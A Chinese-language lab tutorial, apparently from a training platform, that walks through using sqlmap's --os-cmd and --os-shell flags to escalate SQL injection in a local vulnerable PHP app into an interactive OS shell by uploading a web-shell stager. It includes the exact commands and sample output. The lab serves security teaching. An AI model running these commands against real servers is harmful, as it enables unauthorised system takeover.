引言
在本实验中,你将学习如何使用 sqlmap,一个流行的开源渗透测试工具,将 SQL 注入漏洞升级为完整的交互式操作系统 shell。虽然 sqlmap 在枚举和提取数据库数据方面非常出色,但其功能还可以扩展到控制底层服务器。
我们将重点关注 --os-shell 功能,该功能会尝试将一个 Web shell(一个 stager)上传到目标服务器,为你提供一个命令提示符,以便直接与远程系统进行交互。在本实验中,一个易受 SQL 注入攻击的简单 Web 应用程序已经设置好并在你的本地机器上运行。
确认操作系统命令执行可行性
在此步骤中,在尝试获取完整的交互式 shell 之前,我们将首先验证我们是否可以在目标操作系统上执行命令。这是一个至关重要的初步检查。我们可以使用 sqlmap 中的 --os-cmd 标志来实现这一点,该标志指示工具执行单个指定的命令。
我们将使用 whoami 命令,该命令会打印当前用户的有效用户名。我们还将使用 --batch 标志让 sqlmap 以其对所有交互式问题的默认回答运行,从而加快进程。
在你的终端中执行以下命令:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
你将看到 sqlmap 测试目标的大量输出。等待其完成。在输出的末尾,你应该会看到 whoami 命令的结果。
...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...
输出 labex 确认我们能够以用户 labex 的身份在远程服务器上成功执行命令。
使用 --os-shell 标志请求交互式 Shell
在此步骤中,我们将准备获取完整交互式 shell 的命令。既然我们已经确认了操作系统命令执行的可行性,我们就可以更有信心地继续进行。
sqlmap 中用于此目的的标志是 --os-shell。当使用此标志时,sqlmap 将尝试将一个“stager”(一小段代码,在此例中是一个 PHP Web shell)上传到 Web 服务器上的一个可写目录。然后,这个 stager 将提供一个交互式命令 shell 的机制。
我们将使用的命令是:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell
在下一步运行此命令时,sqlmap 将引导你完成一些提示,以确定上传 stager 的最佳方式。我们不会在此步骤中运行命令,而只是理解其目的。
执行命令以启动 Shell
在此步骤中,你将执行命令来启动交互式 Shell。sqlmap 会询问你的输入,以确定 Web 应用程序的语言和服务器的文档根目录(网站的主文件夹)。
首先,在你的终端中运行命令:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell
sqlmap 将启动,并可能询问你几个问题。
它可能会询问后端 DBMS。你可以按 Enter 接受它可能已经检测到的默认值(例如,SQLite)。
然后它会询问 Web 服务器文档根目录。这是一个关键步骤。sqlmap 需要知道一个可写的目录来上传其 Web shell。根据我们的设置脚本,正确的路径是
/home/labex/project/vulnerable_app。[?] what is the web server document root? [/var/www/html] >输入以下路径并按 Enter:
/home/labex/project/vulnerable_app
在你提供路径后,sqlmap 将尝试上传 stager。如果成功,你将看到指示上传的消息,并进入一个新的提示符:os-shell>。
...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>
这个 os-shell> 提示符就是你在远程服务器上的交互式 Shell。
通过 sqlmap Shell 提示符与远程系统交互
在此步骤中,你将使用刚刚获得的 os-shell> 提示符与远程系统进行交互。这个提示符不是你的本地终端;你在这里输入的每个命令都会被发送到远程服务器并执行。
让我们运行几个简单的命令来验证我们的访问权限。
首先,在远程服务器上输入 pwd 并按 Enter,以查找当前工作目录。
os-shell > pwd
输出应该是 sqlmap 上传其 stager 文件的目录。
/home/labex/project/vulnerable_app
接下来,通过输入 whoami 再次确认你在远程系统上的用户身份。
os-shell > whoami
输出应该再次是 labex。
labex
你现在已经成功地在目标系统上交互式地执行了命令。
执行多个命令并探索文件系统
在此步骤中,你将对远程文件系统进行进一步的探索。交互式 Shell 非常强大,因为它允许你导航目录、查看文件并了解服务器的布局。
首先,使用 ls -l 命令以长格式列出当前目录(/home/labex/project/vulnerable_app)的内容。
os-shell > ls -l
你将看到此目录中的文件,包括 index.php、users.db 以及 sqlmap 上传的临时 PHP Web shell(例如 tmpueyge.php)。
total 20
-rw-r--r-- 1 labex labex 539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex 45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db
现在,让我们尝试导航文件系统。使用 cd .. 命令向上移动到父目录(/home/labex/project)。
os-shell > cd ..
你不会看到任何输出,但你在远程服务器上的当前目录已更改。通过列出新目录的内容来验证这一点。
os-shell > ls
你应该会看到列出的 vulnerable_app 目录。
vulnerable_app
你现在可以自由地在 labex 用户的权限范围内探索文件系统。要退出 sqlmap shell 并返回到你的正常终端,只需键入 exit 并按 Enter。
总结
在此次实验中,你成功地将 SQL 注入漏洞升级,获得了对远程服务器的完全命令行访问权限。你已学会如何:
- 使用 sqlmap 的
--os-cmd标志来确认操作系统命令执行是可行的。 - 使用
--os-shell标志指示 sqlmap 建立一个交互式 Shell。 - 提供必要的信息,例如 Web 服务器的文档根目录,以方便上传 Web Shell。
- 通过 sqlmap Shell 执行
pwd、whoami、ls和cd等命令与远程系统进行交互。
这个练习展示了 SQL 注入漏洞带来的严重安全风险,因为它们不仅可能导致数据泄露,还可能导致整个系统被完全攻陷。


